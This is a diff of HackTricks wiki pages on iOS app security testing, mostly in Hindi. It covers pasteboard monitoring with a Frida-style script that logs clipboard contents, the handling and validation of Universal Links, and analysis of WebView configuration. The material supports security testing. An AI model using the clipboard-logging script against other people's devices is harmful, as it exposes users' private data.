||||||
- **कस्टम अमल के लिए** `pasteboardWithName:create:` और `pasteboardWithUniqueName` को ट्रेस करें।
|
- कस्टम कार्यान्वयन के लिए `pasteboardWithName:create:` और `pasteboardWithUniqueName` को ट्रेस करें।
|
||||||
- स्थायित्व सेटिंग्स के लिए डिप्रीकेटेड `setPersistent:` मेथड कॉल्स की निगरानी के लिए।
|
- स्थिरता सेटिंग्स की जांच के लिए अप्रचलित `setPersistent:` विधि कॉल की निगरानी करें।
|
||||||
|
|
||||||
मॉनिटर करने के महत्वपूर्ण विवरण शामिल हैं:
|
निगरानी करने के लिए प्रमुख विवरण में शामिल हैं:
|
||||||
- **पेस्टबोर्ड नाम** और **सामग्री** (उदाहरण के लिए, स्ट्रिंग, URL, छवियाँ जांचने के लिए)।
|
- **पेस्टबोर्ड नाम** और **सामग्री** (उदाहरण के लिए, स्ट्रिंग, यूआरएल, छवियों की जांच करना)।
|
||||||
- मौजूदा **आइटमों** और **डेटा प्रकार** की संख्या, मानक और कस्टम डेटा प्रकार जांचों का लाभ उठाएं।
|
- **आइटम की संख्या** और **डेटा प्रकार** जो मौजूद हैं, मानक और कस्टम डेटा प्रकार जांच का लाभ उठाते हुए।
|
||||||
- `setItems:options:` मेथड की जांच करके **समाप्ति और स्थानीय केवल विकल्प**।
|
- `setItems:options:` विधि की जांच करके **समाप्ति और स्थानीय-केवल विकल्प**।
|
||||||
|
|
||||||
एक मॉनिटरिंग टूल का उपयोग का उदाहरण है **objection's pasteboard monitor**, जो हर 5 सेकंड में generalPasteboard को बदलाव के लिए पोल करता है और नए डेटा को आउटपुट करता है।
|
निगरानी उपकरण के उपयोग का एक उदाहरण **objection का पेस्टबोर्ड मॉनिटर** है, जो हर 5 सेकंड में generalPasteboard के लिए परिवर्तनों की जांच करता है और नए डेटा को आउटपुट करता है।
|
||||||
|
|
||||||
यहाँ एक सरल जावास्क्रिप्ट स्क्रिप्ट का उदाहरण है, objection के दृष्टिकोण से प्रेरित, जो पेस्टबोर्ड से पाठ पढ़ने और लॉग करने के लिए हर 5 सेकंड में बदलाव करता है:
|
यहां एक सरल जावास्क्रिप्ट स्क्रिप्ट का उदाहरण है, जो objection के दृष्टिकोण से प्रेरित है, जो हर 5 सेकंड में पेस्टबोर्ड से परिवर्तनों को पढ़ता और लॉग करता है:
|
||||||
```javascript
|
```javascript
|
||||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||||
|
@ -85,16 +86,17 @@ console.log(items);
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,31 @@
|
||||||
# iOS Universal Links
|
# iOS Universal Links
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
## परिचय
|
## Introduction
|
||||||
|
|
||||||
यूनिवर्सल लिंक्स उपयोगकर्ताओं को सीधे ऐप में सामग्री खोलने के अनुभव की **बिना रुकावट** प्रदान करते हैं, सफारी रिडायरेक्शन की आवश्यकता को छोड़ देते हैं। ये लिंक्स **अद्वितीय** और सुरक्षित होते हैं, क्योंकि इन्हें अन्य ऐप्स द्वारा दावा नहीं किया जा सकता। इसे सुनिश्चित किया जाता है एक `apple-app-site-association` JSON फ़ाइल को वेबसाइट के मूल निर्देशिका पर होस्ट करके, वेबसाइट और ऐप के बीच एक सत्यापनीय लिंक स्थापित करके। ऐसे मामलों में जहां ऐप स्थापित नहीं है, सफारी उपयोगकर्ता को वेबपेज पर निर्देशित करेगा, ऐप की मौजूदगी बनाए रखते हुए।
|
यूनिवर्सल लिंक उपयोगकर्ताओं को **सहज रीडायरेक्शन** अनुभव प्रदान करते हैं, जो सीधे ऐप में सामग्री खोलते हैं, सफारी रीडायरेक्शन की आवश्यकता को बायपास करते हैं। ये लिंक **विशिष्ट** और सुरक्षित होते हैं, क्योंकि इन्हें अन्य ऐप द्वारा दावा नहीं किया जा सकता। यह सुनिश्चित किया जाता है कि वेबसाइट की रूट डायरेक्टरी में `apple-app-site-association` JSON फ़ाइल हो, जो वेबसाइट और ऐप के बीच एक सत्यापित लिंक स्थापित करती है। यदि ऐप स्थापित नहीं है, तो सफारी उपयोगकर्ता को वेबपेज पर ले जाएगी, ऐप की उपस्थिति बनाए रखते हुए।
|
||||||
|
|
||||||
पेनेट्रेशन टेस्टर्स के लिए, `apple-app-site-association` फ़ाइल विशेष रूप से महत्वपूर्ण है क्योंकि यह **संवेदनशील पथों** का पता लगा सकता है, जिसमें अप्रकाशित सुविधाओं से संबंधित हो सकते हैं।
|
पेनटेस्टर्स के लिए, `apple-app-site-association` फ़ाइल विशेष रुचि की होती है क्योंकि यह **संवेदनशील पथों** को प्रकट कर सकती है, संभावित रूप से उन पथों को शामिल करते हुए जो अप्रकाशित सुविधाओं से संबंधित हैं।
|
||||||
|
|
||||||
### **संबंधित डोमेन्स अनुमतियों का विश्लेषण**
|
### **Associated Domains Entitlement का विश्लेषण करना**
|
||||||
|
|
||||||
डेवलपर्स यून
|
डेवलपर्स यूनिवर्सल लिंक को Xcode के Capabilities टैब में **Associated Domains** को कॉन्फ़िगर करके या `.entitlements` फ़ाइल की जांच करके सक्षम करते हैं। प्रत्येक डोमेन के आगे `applinks:` जोड़ा जाता है। उदाहरण के लिए, टेलीग्राम की कॉन्फ़िगरेशन इस प्रकार दिखाई दे सकती है:
|
||||||
```xml
|
```xml
|
||||||
<key>com.apple.developer.associated-domains</key>
|
<key>com.apple.developer.associated-domains</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -32,21 +33,21 @@ HackTricks का समर्थन करने के अन्य तरी
|
||||||
<string>applinks:t.me</string>
|
<string>applinks:t.me</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
अधिक व्यापक अनुभव के लिए, [आर्काइव एप्पल डेवलपर डॉक्यूमेंटेशन](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2) का संदर्भ दें।
|
For more comprehensive insights, refer to the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||||
|
|
||||||
यदि कंपाइल किया गया एप्लिकेशन के साथ काम किया जा रहा है, तो entitlements को [इस गाइड](extracting-entitlements-from-compiled-application.md) में बताए तरीके से निकाला जा सकता है।
|
If working with a compiled application, entitlements can be extracted as outlined in [this guide](extracting-entitlements-from-compiled-application.md).
|
||||||
|
|
||||||
### **एप्पल एप साइट एसोसिएशन फ़ाइल प्राप्त करना**
|
### **एप्पल ऐप साइट एसोसिएशन फ़ाइल प्राप्त करना**
|
||||||
|
|
||||||
`apple-app-site-association` फ़ाइल को एंटाइटलमेंट्स में निर्दिष्ट डोमेन का उपयोग करके सर्वर से प्राप्त किया जाना चाहिए। सुनिश्चित करें कि फ़ाइल को सीधे HTTPS के माध्यम से `https://<domain>/apple-app-site-association` पर पहुंचा जा सकता है। [एप्पल एप साइट एसोसिएशन (AASA) वैलिडेटर](https://branch.io/resources/aasa-validator/) जैसे उपकरण इस प्रक्रिया में सहायक हो सकते हैं।
|
`apple-app-site-association` फ़ाइल को सर्वर से उन डोमेन का उपयोग करके प्राप्त किया जाना चाहिए जो अधिकारों में निर्दिष्ट हैं। सुनिश्चित करें कि फ़ाइल HTTPS के माध्यम से सीधे `https://<domain>/apple-app-site-association` पर सुलभ है। [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/) जैसे उपकरण इस प्रक्रिया में मदद कर सकते हैं।
|
||||||
|
|
||||||
### **एप्लिकेशन में यूनिवर्सल लिंक्स का हैंडलिंग**
|
### **ऐप में यूनिवर्सल लिंक को संभालना**
|
||||||
|
|
||||||
एप्लिकेशन को यूनिवर्सल लिंक्स को सही ढंग से हैंडल करने के लिए विशेष विधियों को लागू करना चाहिए। प्राथमिक विधि जिसे खोजना चाहिए, [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application) है। URL की scheme का HTTP या HTTPS होना महत्वपूर्ण है, क्योंकि अन्य को समर्थन नहीं किया जाएगा।
|
ऐप को यूनिवर्सल लिंक को सही तरीके से संभालने के लिए विशिष्ट विधियों को लागू करना चाहिए। देखने के लिए प्राथमिक विधि [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application) है। यह महत्वपूर्ण है कि संभाले गए URLs का स्कीम HTTP या HTTPS हो, क्योंकि अन्य का समर्थन नहीं किया जाएगा।
|
||||||
|
|
||||||
#### **डेटा हैंडलर विधि का सत्यापन**
|
#### **डेटा हैंडलर विधि का मान्यकरण**
|
||||||
|
|
||||||
जब एक यूनिवर्सल लिंक एप्लिकेशन को खोलता है, तो एप्लिकेशन को URL के साथ एक `NSUserActivity` ऑब्ज
|
जब एक यूनिवर्सल लिंक एक ऐप खोलता है, तो एक `NSUserActivity` ऑब्जेक्ट ऐप को URL के साथ पास किया जाता है। इस URL को संसाधित करने से पहले, इसे मान्य और साफ करना आवश्यक है ताकि सुरक्षा जोखिमों से बचा जा सके। यहाँ Swift में प्रक्रिया का एक उदाहरण है:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||||
|
@ -58,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
URLs को सावधानी से पार्स किया और मान्यता प्राप्त किया जाना चाहिए, खासकर अगर उनमें पैरामीटर शामिल हैं, ताकि किसी भी संभावित spoofing या गलत डेटा के खिलाफ सुरक्षित रहा जा सके। `NSURLComponents` API इस उद्देश्य के लिए उपयोगी है, जैसा नीचे प्रदर्शित किया गया है:
|
URLs को सावधानीपूर्वक पार्स और मान्य किया जाना चाहिए, विशेष रूप से यदि उनमें पैरामीटर शामिल हैं, संभावित स्पूफिंग या गलत डेटा से बचने के लिए। `NSURLComponents` API इस उद्देश्य के लिए उपयोगी है, जैसा कि नीचे दिखाया गया है:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication,
|
func application(_ application: UIApplication,
|
||||||
continue userActivity: NSUserActivity,
|
continue userActivity: NSUserActivity,
|
||||||
|
@ -84,22 +85,26 @@ return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
ध्यानपूर्वक विन्यास और मान्यता से, डेवलपर सुनिश्चित कर सकते हैं कि यूनिवर्सल लिंक्स उपयोगकर्ता अनुभव को बढ़ावा देते हैं जबकि सुरक्षा और गोपनीयता मानकों को बनाए रखते हैं।
|
Through **diligent configuration and validation**, developers can ensure that universal links enhance user experience while maintaining security and privacy standards.
|
||||||
|
|
||||||
## संदर्भ
|
## Tools
|
||||||
|
* [GetUniversal.link](https://getuniversal.link/): आपकी ऐप के यूनिवर्सल लिंक और AASA फ़ाइल के परीक्षण और प्रबंधन को सरल बनाने में मदद करता है। AASA फ़ाइल की अखंडता को सत्यापित करने के लिए बस अपना डोमेन दर्ज करें या लिंक व्यवहार का आसानी से परीक्षण करने के लिए कस्टम डैशबोर्ड का उपयोग करें। यह उपकरण आपको यह भी निर्धारित करने में मदद करता है कि Apple अगली बार आपकी AASA फ़ाइल को कब अनुक्रमित करेगा।
|
||||||
|
|
||||||
|
## References
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में** दिखाया जाए या **HackTricks को PDF में डाउनलोड** करें तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
# iOS वेबव्यू
|
# iOS WebViews
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
इस पृष्ठ का कोड [यहाँ से](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) निकाला गया था। अधिक विवरण के लिए पृष्ठ की जाँच करें।
|
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
|
||||||
|
|
||||||
|
|
||||||
## वेबव्यू प्रकार
|
## WebViews types
|
||||||
|
|
||||||
एप्लिकेशन में वेब सामग्री को इंटरैक्टिव रूप से प्रदर्शित करने के लिए वेबव्यू का उपयोग किया जाता है। iOS एप्लिकेशनों के लिए विभिन्न प्रकार के वेबव्यू विभिन्न कार्यक्षमताएं और सुरक्षा सुविधाएं प्रदान करते हैं। यहाँ एक संक्षिप्त अवलोकन है:
|
WebViews का उपयोग अनुप्रयोगों के भीतर इंटरैक्टिव रूप से वेब सामग्री प्रदर्शित करने के लिए किया जाता है। विभिन्न प्रकार के WebViews iOS अनुप्रयोगों के लिए विभिन्न कार्यक्षमताएँ और सुरक्षा सुविधाएँ प्रदान करते हैं। यहाँ एक संक्षिप्त अवलोकन है:
|
||||||
|
|
||||||
- **UIWebView**, जिसे iOS 12 के बाद अब अनुशंसित नहीं माना जाता है क्योंकि इसमें **JavaScript** को अक्षम करने का समर्थन नहीं है, जिससे यह स्क्रिप्ट इन्जेक्शन और **Cross-Site Scripting (XSS)** हमलों के लिए संवेदनशील हो जाता है।
|
- **UIWebView**, जिसे iOS 12 से आगे अनुशंसित नहीं किया गया है क्योंकि यह **JavaScript** को निष्क्रिय करने के लिए समर्थन की कमी के कारण स्क्रिप्ट इंजेक्शन और **Cross-Site Scripting (XSS)** हमलों के प्रति संवेदनशील है।
|
||||||
|
|
||||||
- **WKWebView** एप्लिकेशन में वेब सामग्री को शामिल करने के लिए पसंदीदा विकल्प है, जो सामग्री और सुरक्षा सुविधाओं पर बेहतर नियंत्रण प्रदान करता है। **JavaScript** डिफ़ॉल्ट रूप से सक्षम है, लेकिन आवश्यकता होने पर इसे अक्षम किया जा सकता है। यह भी सुनिश्चित करने के लिए सुविधाएं समर्थन करता है कि JavaScript स्वचालित रूप से विंडोज़ खोलने से रोका जाए और सुनिश्चित करता है कि सभी सामग्री सुरक्षित रूप से लोड हो। इसके अतिरिक्त, **WKWebView** की वास्तुकला मुख्य ऐप प्रक्रिया पर प्रभाव डालने वाले मेमोरी करप्शन के जोखिम को कम करती है।
|
- **WKWebView** ऐप्स में वेब सामग्री को शामिल करने के लिए पसंदीदा विकल्प है, जो सामग्री और सुरक्षा सुविधाओं पर बेहतर नियंत्रण प्रदान करता है। **JavaScript** डिफ़ॉल्ट रूप से सक्षम है, लेकिन यदि आवश्यक हो तो इसे निष्क्रिय किया जा सकता है। यह स्वचालित रूप से विंडो खोलने से **JavaScript** को रोकने के लिए सुविधाएँ भी प्रदान करता है और सुनिश्चित करता है कि सभी सामग्री सुरक्षित रूप से लोड हो। इसके अतिरिक्त, **WKWebView** की वास्तुकला मुख्य ऐप प्रक्रिया को प्रभावित करने वाले मेमोरी भ्रष्टाचार के जोखिम को कम करती है।
|
||||||
|
|
||||||
- **SFSafariViewController** एप्लिकेशन के भीतर एक मानकीकृत वेब ब्राउज़िंग अनुभव प्रदान करता है, जिसे इसके विशेष लेआउट के द्वारा पहचाना जाता है जिसमें एक केवल पठनीय पता क्षेत्र, साझा और नेविगेशन बटन, और सीधा लिंक शामिल है जिससे सफारी में सामग्री खोलने का सीधा लिंक होता है। **SFSafariViewController** में **JavaScript** को अक्षम नहीं किया जा सकता, जो भी सफारी के साथ कुकीज़ और डेटा साझा करता है, एप्लिकेशन से उपयोक्ता की गोपनीयता को बनाए रखता है। इसे ऐप स्टोर दिशानिर्देशों के अनुसार प्रमुखता से प्रदर्शित किया जाना चाहिए।
|
- **SFSafariViewController** ऐप्स के भीतर एक मानकीकृत वेब ब्राउज़िंग अनुभव प्रदान करता है, जिसे एक पढ़ने योग्य पता क्षेत्र, साझा करने और नेविगेशन बटन, और सामग्री को सफारी में खोलने के लिए एक सीधा लिंक सहित इसके विशिष्ट लेआउट द्वारा पहचाना जा सकता है। **WKWebView** के विपरीत, **SFSafariViewController** में **JavaScript** को निष्क्रिय नहीं किया जा सकता है, जो सफारी के साथ कुकीज़ और डेटा साझा करता है, ऐप से उपयोगकर्ता की गोपनीयता बनाए रखता है। इसे ऐप स्टोर दिशानिर्देशों के अनुसार प्रमुखता से प्रदर्शित किया जाना चाहिए।
|
||||||
```javascript
|
```javascript
|
||||||
// Example of disabling JavaScript in WKWebView:
|
// Example of disabling JavaScript in WKWebView:
|
||||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||||
|
@ -34,45 +35,45 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
||||||
config.preferences = preferences;
|
config.preferences = preferences;
|
||||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||||
```
|
```
|
||||||
## वेबव्यू कॉन्फ़िगरेशन अन्वेषण सारांश
|
## WebViews Configuration Exploration Summary
|
||||||
|
|
||||||
### **स्थैतिक विश्लेषण अवलोकन**
|
### **Static Analysis Overview**
|
||||||
|
|
||||||
**WebViews** कॉन्फ़िगरेशन की जांच की प्रक्रिया में, दो प्रमुख प्रकार पर ध्यान केंद्रित हैं: **UIWebView** और **WKWebView**। इन वेबव्यू को एक बाइनरी में पहचानने के लिए, आवश्यकता के अनुसार कमांड प्रयोग किए जाते हैं, विशेष क्लास संदर्भ और प्रारंभीकरण विधियों की खोज के लिए।
|
**WebViews** कॉन्फ़िगरेशन की जांच करते समय, दो मुख्य प्रकारों पर ध्यान केंद्रित किया जाता है: **UIWebView** और **WKWebView**। इन WebViews को बाइनरी के भीतर पहचानने के लिए, विशेष वर्ग संदर्भों और प्रारंभिककरण विधियों की खोज करते हुए आदेशों का उपयोग किया जाता है।
|
||||||
|
|
||||||
- **UIWebView पहचान**
|
- **UIWebView Identification**
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||||
```
|
```
|
||||||
यह कमांड बाइनरी में इससे संबंधित पाठ स्ट्रिंग की खोज करके **UIWebView** की घटनाओं को ढूंढने में मदद करता है।
|
